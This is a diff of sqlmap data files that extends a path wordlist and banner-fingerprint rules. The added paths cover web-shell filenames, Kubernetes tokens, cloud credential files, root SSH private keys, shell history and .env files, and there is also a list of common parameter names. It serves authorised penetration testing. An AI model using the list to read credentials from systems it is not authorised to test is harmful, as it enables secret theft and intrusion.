/program files/jboss/server/default/conf/server.log.properties
|
||||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
/program files/jboss/server/default/conf/standardjaws.xml
|
||||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
/program files/jboss/server/default/conf/standardjboss.xml
|
||||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/program files/[jboss]/server/default/log/boot.log
|
/program files/jboss/server/default/log/boot.log
|
||||||
/program files/[jboss]/server/default/log/server.log
|
/program files/jboss/server/default/log/server.log
|
||||||
/program files/apache group/apache/apache.conf
|
/program files/apache group/apache/apache.conf
|
||||||
/program files/apache group/apache/apache2.conf
|
/program files/apache group/apache/apache2.conf
|
||||||
/program files/apache group/apache/conf/apache.conf
|
/program files/apache group/apache/conf/apache.conf
|
||||||
@@ -1177,17 +1161,17 @@
|
|||||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||||
/temp/sess_
|
/temp/sess_
|
||||||
/thttpd_log
|
/thttpd_log
|
||||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
/tmp/jboss/server/default/conf/jndi.properties
|
||||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
/tmp/jboss/server/default/conf/log4j.xml
|
||||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
/tmp/jboss/server/default/conf/login-config.xml
|
||||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
/tmp/jboss/server/default/conf/server.log.properties
|
||||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
/tmp/jboss/server/default/conf/standardjboss.xml
|
||||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/tmp/[jboss]/server/default/log/boot.log
|
/tmp/jboss/server/default/log/boot.log
|
||||||
/tmp/[jboss]/server/default/log/server.log
|
/tmp/jboss/server/default/log/server.log
|
||||||
/tmp/access.log
|
/tmp/access.log
|
||||||
/tmp/sess_
|
/tmp/sess_
|
||||||
/usr/apache/conf/httpd.conf
|
/usr/apache/conf/httpd.conf
|
||||||
@@ -1202,17 +1186,17 @@
|
|||||||
/usr/lib/php.ini
|
/usr/lib/php.ini
|
||||||
/usr/lib/php/php.ini
|
/usr/lib/php/php.ini
|
||||||
/usr/lib/security/mkuser.default
|
/usr/lib/security/mkuser.default
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
/usr/local/jboss/server/default/conf/jndi.properties
|
||||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
/usr/local/jboss/server/default/conf/log4j.xml
|
||||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
/usr/local/jboss/server/default/conf/login-config.xml
|
||||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
/usr/local/jboss/server/default/conf/server.log.properties
|
||||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/usr/local/[jboss]/server/default/log/boot.log
|
/usr/local/jboss/server/default/log/boot.log
|
||||||
/usr/local/[jboss]/server/default/log/server.log
|
/usr/local/jboss/server/default/log/server.log
|
||||||
/usr/local/apache/apache.conf
|
/usr/local/apache/apache.conf
|
||||||
/usr/local/apache/apache2.conf
|
/usr/local/apache/apache2.conf
|
||||||
/usr/local/apache/conf/access.conf
|
/usr/local/apache/conf/access.conf
|
||||||
@@ -1740,6 +1724,7 @@
|
|||||||
/etc/php4/apache2/php.ini
|
/etc/php4/apache2/php.ini
|
||||||
/etc/php5/apache/php.ini
|
/etc/php5/apache/php.ini
|
||||||
/etc/php5/apache2/php.ini
|
/etc/php5/apache2/php.ini
|
||||||
|
/etc/php/7.4/apache2/php.ini
|
||||||
/etc/php/php.ini
|
/etc/php/php.ini
|
||||||
/usr/local/apache/conf/modsec.conf
|
/usr/local/apache/conf/modsec.conf
|
||||||
/var/cpanel/cpanel.config
|
/var/cpanel/cpanel.config
|
||||||
@@ -1802,3 +1787,68 @@
|
|||||||
/usr/share/squirrelmail/config/config.php
|
/usr/share/squirrelmail/config/config.php
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/srv/www/htdos/squirrelmail/config/config.php
|
/srv/www/htdos/squirrelmail/config/config.php
|
||||||
|
|
||||||
|
# Web shells
|
||||||
|
|
||||||
|
/var/www/html/backdoor.php
|
||||||
|
/var/www/html/b374k.php
|
||||||
|
/var/www/html/c99.php
|
||||||
|
/var/www/html/cmd.php
|
||||||
|
/var/www/html/r57.php
|
||||||
|
/var/www/html/shell.php
|
||||||
|
/var/www/html/wso.php
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
|
||||||
|
/app/app.js
|
||||||
|
/app/configure.js
|
||||||
|
/app/config/config.json
|
||||||
|
/etc/grafana/grafana.ini
|
||||||
|
/opt/kibana/config/kibana.yml
|
||||||
|
/etc/kibana/kibana.yml
|
||||||
|
/etc/elasticsearch/elasticsearch.yml
|
||||||
|
|
||||||
|
# Containers and orchestration secrets
|
||||||
|
|
||||||
|
/.dockerenv
|
||||||
|
/proc/self/cgroup
|
||||||
|
/proc/1/cgroup
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||||
|
|
||||||
|
# Cloud provider credentials
|
||||||
|
|
||||||
|
/root/.aws/credentials
|
||||||
|
/root/.aws/config
|
||||||
|
/root/.config/gcloud/application_default_credentials.json
|
||||||
|
/root/.config/gcloud/credentials.db
|
||||||
|
/root/.azure/accessTokens.json
|
||||||
|
/root/.kube/config
|
||||||
|
|
||||||
|
# SSH keys and DB/tool history
|
||||||
|
|
||||||
|
/root/.ssh/authorized_keys
|
||||||
|
/root/.ssh/id_ed25519
|
||||||
|
/root/.ssh/id_ecdsa
|
||||||
|
/root/.ssh/id_dsa
|
||||||
|
/root/.mysql_history
|
||||||
|
/root/.psql_history
|
||||||
|
/root/.rediscli_history
|
||||||
|
/root/.python_history
|
||||||
|
/root/.sqlite_history
|
||||||
|
|
||||||
|
# dotenv, VCS and app config under common web roots
|
||||||
|
|
||||||
|
/var/www/.env
|
||||||
|
/var/www/html/.env
|
||||||
|
/app/.env
|
||||||
|
/usr/share/nginx/html/.env
|
||||||
|
/var/www/html/.git/config
|
||||||
|
/var/www/html/.git/HEAD
|
||||||
|
/var/www/html/wp-config.php
|
||||||
|
/app/application.properties
|
||||||
|
/app/application.yml
|
||||||
|
/app/docker-compose.yml
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,243 @@
|
|||||||
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
id
|
||||||
|
page
|
||||||
|
q
|
||||||
|
query
|
||||||
|
search
|
||||||
|
s
|
||||||
|
keyword
|
||||||
|
keywords
|
||||||
|
name
|
||||||
|
username
|
||||||
|
user
|
||||||
|
uid
|
||||||
|
userid
|
||||||
|
email
|
||||||
|
mail
|
||||||
|
pass
|
||||||
|
password
|
||||||
|
pwd
|
||||||
|
token
|
||||||
|
key
|
||||||
|
apikey
|
||||||
|
api_key
|
||||||
|
access_token
|
||||||
|
auth
|
||||||
|
session
|
||||||
|
sid
|
||||||
|
sessionid
|
||||||
|
lang
|
||||||
|
language
|
||||||
|
locale
|
||||||
|
country
|
||||||
|
region
|
||||||
|
city
|
||||||
|
zip
|
||||||
|
sort
|
||||||
|
order
|
||||||
|
orderby
|
||||||
|
dir
|
||||||
|
direction
|
||||||
|
filter
|
||||||
|
category
|
||||||
|
cat
|
||||||
|
type
|
||||||
|
kind
|
||||||
|
class
|
||||||
|
group
|
||||||
|
tag
|
||||||
|
tags
|
||||||
|
status
|
||||||
|
state
|
||||||
|
action
|
||||||
|
act
|
||||||
|
cmd
|
||||||
|
command
|
||||||
|
op
|
||||||
|
operation
|
||||||
|
mode
|
||||||
|
method
|
||||||
|
func
|
||||||
|
function
|
||||||
|
callback
|
||||||
|
jsonp
|
||||||
|
format
|
||||||
|
output
|
||||||
|
view
|
||||||
|
tab
|
||||||
|
step
|
||||||
|
stage
|
||||||
|
debug
|
||||||
|
test
|
||||||
|
dev
|
||||||
|
admin
|
||||||
|
role
|
||||||
|
level
|
||||||
|
priv
|
||||||
|
file
|
||||||
|
filename
|
||||||
|
path
|
||||||
|
dir
|
||||||
|
folder
|
||||||
|
doc
|
||||||
|
document
|
||||||
|
url
|
||||||
|
uri
|
||||||
|
link
|
||||||
|
href
|
||||||
|
redirect
|
||||||
|
redirect_uri
|
||||||
|
return
|
||||||
|
returnurl
|
||||||
|
return_url
|
||||||
|
next
|
||||||
|
target
|
||||||
|
dest
|
||||||
|
destination
|
||||||
|
goto
|
||||||
|
continue
|
||||||
|
ref
|
||||||
|
referer
|
||||||
|
referrer
|
||||||
|
source
|
||||||
|
src
|
||||||
|
from
|
||||||
|
to
|
||||||
|
date
|
||||||
|
year
|
||||||
|
month
|
||||||
|
day
|
||||||
|
time
|
||||||
|
timestamp
|
||||||
|
start
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
finish
|
||||||
|
limit
|
||||||
|
offset
|
||||||
|
count
|
||||||
|
num
|
||||||
|
number
|
||||||
|
size
|
||||||
|
length
|
||||||
|
width
|
||||||
|
height
|
||||||
|
amount
|
||||||
|
price
|
||||||
|
qty
|
||||||
|
quantity
|
||||||
|
value
|
||||||
|
val
|
||||||
|
data
|
||||||
|
input
|
||||||
|
content
|
||||||
|
text
|
||||||
|
msg
|
||||||
|
message
|
||||||
|
body
|
||||||
|
title
|
||||||
|
subject
|
||||||
|
description
|
||||||
|
desc
|
||||||
|
comment
|
||||||
|
note
|
||||||
|
code
|
||||||
|
hash
|
||||||
|
sig
|
||||||
|
signature
|
||||||
|
csrf
|
||||||
|
csrf_token
|
||||||
|
csrftoken
|
||||||
|
nonce
|
||||||
|
salt
|
||||||
|
enc
|
||||||
|
encrypt
|
||||||
|
decrypt
|
||||||
|
base64
|
||||||
|
json
|
||||||
|
xml
|
||||||
|
raw
|
||||||
|
echo
|
||||||
|
reflect
|
||||||
|
show
|
||||||
|
hide
|
||||||
|
display
|
||||||
|
render
|
||||||
|
template
|
||||||
|
tpl
|
||||||
|
theme
|
||||||
|
skin
|
||||||
|
style
|
||||||
|
color
|
||||||
|
font
|
||||||
|
image
|
||||||
|
img
|
||||||
|
photo
|
||||||
|
avatar
|
||||||
|
icon
|
||||||
|
banner
|
||||||
|
video
|
||||||
|
audio
|
||||||
|
media
|
||||||
|
attachment
|
||||||
|
upload
|
||||||
|
download
|
||||||
|
export
|
||||||
|
import
|
||||||
|
backup
|
||||||
|
restore
|
||||||
|
sync
|
||||||
|
refresh
|
||||||
|
reload
|
||||||
|
reset
|
||||||
|
clear
|
||||||
|
flush
|
||||||
|
purge
|
||||||
|
enable
|
||||||
|
disable
|
||||||
|
active
|
||||||
|
enabled
|
||||||
|
visible
|
||||||
|
public
|
||||||
|
private
|
||||||
|
locked
|
||||||
|
verified
|
||||||
|
confirmed
|
||||||
|
approved
|
||||||
|
product
|
||||||
|
item
|
||||||
|
sku
|
||||||
|
model
|
||||||
|
brand
|
||||||
|
vendor
|
||||||
|
seller
|
||||||
|
store
|
||||||
|
shop
|
||||||
|
cart
|
||||||
|
basket
|
||||||
|
checkout
|
||||||
|
payment
|
||||||
|
invoice
|
||||||
|
receipt
|
||||||
|
transaction
|
||||||
|
account
|
||||||
|
profile
|
||||||
|
member
|
||||||
|
customer
|
||||||
|
client
|
||||||
|
company
|
||||||
|
organization
|
||||||
|
org
|
||||||
|
department
|
||||||
|
team
|
||||||
|
project
|
||||||
|
task
|
||||||
|
job
|
||||||
|
event
|
||||||
|
booking
|
||||||
|
reservation
|
||||||
|
appointment
|
||||||
|
schedule
|
||||||
|
calendar
|
||||||
+380
-448
File diff suppressed because it is too large
Load Diff
+801
-366
File diff suppressed because it is too large
Load Diff
+6490
-1299
File diff suppressed because it is too large
Load Diff
+188
-4183
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -3,7 +3,7 @@
|
|||||||
<root>
|
<root>
|
||||||
<!-- Windows -->
|
<!-- Windows -->
|
||||||
|
|
||||||
<regexp value="(Microsoft|Windows|Win32)">
|
<regexp value="(Microsoft|Windows|Win32|Win64|WOW64|Cygwin|MinGW)">
|
||||||
<info type="Windows"/>
|
<info type="Windows"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
@@ -34,7 +34,7 @@
|
|||||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||||
|
|
||||||
<regexp value="Windows.*\b10\.0">
|
<regexp value="Windows.*\b10\.0">
|
||||||
<info type="Windows" distrib="2016|10"/>
|
<info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Windows.*\b6\.3">
|
<regexp value="Windows.*\b6\.3">
|
||||||
@@ -151,7 +151,39 @@
|
|||||||
<info type="Linux" distrib="Ubuntu"/>
|
<info type="Linux" distrib="Ubuntu"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Unices -->
|
<regexp value="\bAlpine\b">
|
||||||
|
<info type="Linux" distrib="Alpine"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Oracle ?Linux">
|
||||||
|
<info type="Linux" distrib="Oracle"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bRHEL\b">
|
||||||
|
<info type="Linux" distrib="Red Hat"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Amazon Linux">
|
||||||
|
<info type="Linux" distrib="Amazon"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Raspbian">
|
||||||
|
<info type="Linux" distrib="Raspbian"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bKali\b">
|
||||||
|
<info type="Linux" distrib="Kali"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Rocky Linux">
|
||||||
|
<info type="Linux" distrib="Rocky"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="AlmaLinux">
|
||||||
|
<info type="Linux" distrib="Alma"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- BSD -->
|
||||||
|
|
||||||
<regexp value="FreeBSD">
|
<regexp value="FreeBSD">
|
||||||
<info type="FreeBSD"/>
|
<info type="FreeBSD"/>
|
||||||
@@ -167,11 +199,22 @@
|
|||||||
|
|
||||||
<!-- Mac OSX -->
|
<!-- Mac OSX -->
|
||||||
|
|
||||||
<regexp value="Mac[\-\_\ ]?OSX">
|
<regexp value="Mac[\-\_\ ]?OS ?X|macOS|Darwin">
|
||||||
<info type="Mac OSX"/>
|
<info type="Mac OSX"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Darwin">
|
<!-- *nix -->
|
||||||
<info type="Mac OSX"/>
|
|
||||||
|
<regexp value="SunOS|Solaris">
|
||||||
|
<info type="SunOS"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bAIX\b">
|
||||||
|
<info type="AIX"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="HP-UX|HPUX">
|
||||||
|
<info type="HP-UX"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -1,5 +1,195 @@
|
|||||||
<?xml version="1.0" ?>
|
<?xml version="1.0" ?>
|
||||||
|
<!--
|
||||||
|
Release/Service Pack anchors for SQL Server 2012-2022.
|
||||||
|
Each release leads with a coarse "major.minor" signature (matches any patch
|
||||||
|
level, so the product year is always resolved) followed by exact RTM/SP base
|
||||||
|
builds (last match wins, so the specific entry overrides the coarse fallback
|
||||||
|
and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
|
||||||
|
Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
|
||||||
|
-->
|
||||||
<root>
|
<root>
|
||||||
|
<signatures release="2022">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
16.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
16.0.1000.6
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2019">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
15.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
15.0.2000.5
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2017">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
14.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
14.0.1000.169
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2016">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.1601.5
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.4001.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.5026.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.6300.2
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2014">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.2000.8
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.4100.1
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.5000.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.6024.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2012">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.2100.60
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.3000.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.5058.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.6020.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.7001.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
4
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
<signatures release="2008 R2">
|
<signatures release="2008 R2">
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
<!--
|
<!--
|
||||||
References:
|
References:
|
||||||
* https://en.wikipedia.org/wiki/Debian_version_history
|
* https://en.wikipedia.org/wiki/Debian_version_history
|
||||||
|
* https://en.wikipedia.org/wiki/Ubuntu_version_history
|
||||||
-->
|
-->
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
@@ -64,6 +65,10 @@
|
|||||||
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
||||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
@@ -72,4 +77,30 @@
|
|||||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+106
-21
@@ -3,14 +3,14 @@
|
|||||||
<!--
|
<!--
|
||||||
References:
|
References:
|
||||||
* https://en.wikipedia.org/wiki/Internet_Information_Services
|
* https://en.wikipedia.org/wiki/Internet_Information_Services
|
||||||
* http://distrowatch.com
|
* https://distrowatch.com
|
||||||
-->
|
-->
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- Microsoft IIS -->
|
<!-- Microsoft IIS -->
|
||||||
|
|
||||||
<regexp value="Microsoft-IIS/(10\.0)">
|
<regexp value="Microsoft-IIS/(10\.0)">
|
||||||
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
|
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|2019|2022|10|11"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Microsoft-IIS/(8\.5)">
|
<regexp value="Microsoft-IIS/(8\.5)">
|
||||||
@@ -74,23 +74,31 @@
|
|||||||
<!-- Apache: CentOS -->
|
<!-- Apache: CentOS -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="3.9"/>
|
<info type="Linux" distrib="CentOS" release="3"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="4.9"/>
|
<info type="Linux" distrib="CentOS" release="4"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.3 \(CentOS\)">
|
<regexp value="Apache/2\.2\.3 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="5.10"/>
|
<info type="Linux" distrib="CentOS" release="5"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.15 \(CentOS\)">
|
<regexp value="Apache/2\.2\.15 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="6.8"/>
|
<info type="Linux" distrib="CentOS" release="6"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.6 \(CentOS\)">
|
<regexp value="Apache/2\.4\.6 \(CentOS\)">
|
||||||
<info type="Linux" distrib="CentOS" release="7-1708"/>
|
<info type="Linux" distrib="CentOS" release="7"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.37 \(CentOS\)">
|
||||||
|
<info type="Linux" distrib="CentOS" release="8"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.48 \(CentOS\)">
|
||||||
|
<info type="Linux" distrib="CentOS" release="9"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Debian -->
|
<!-- Apache: Debian -->
|
||||||
@@ -131,36 +139,36 @@
|
|||||||
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
|
|
||||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
|
||||||
</regexp>
|
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.3 \(Debian\)">
|
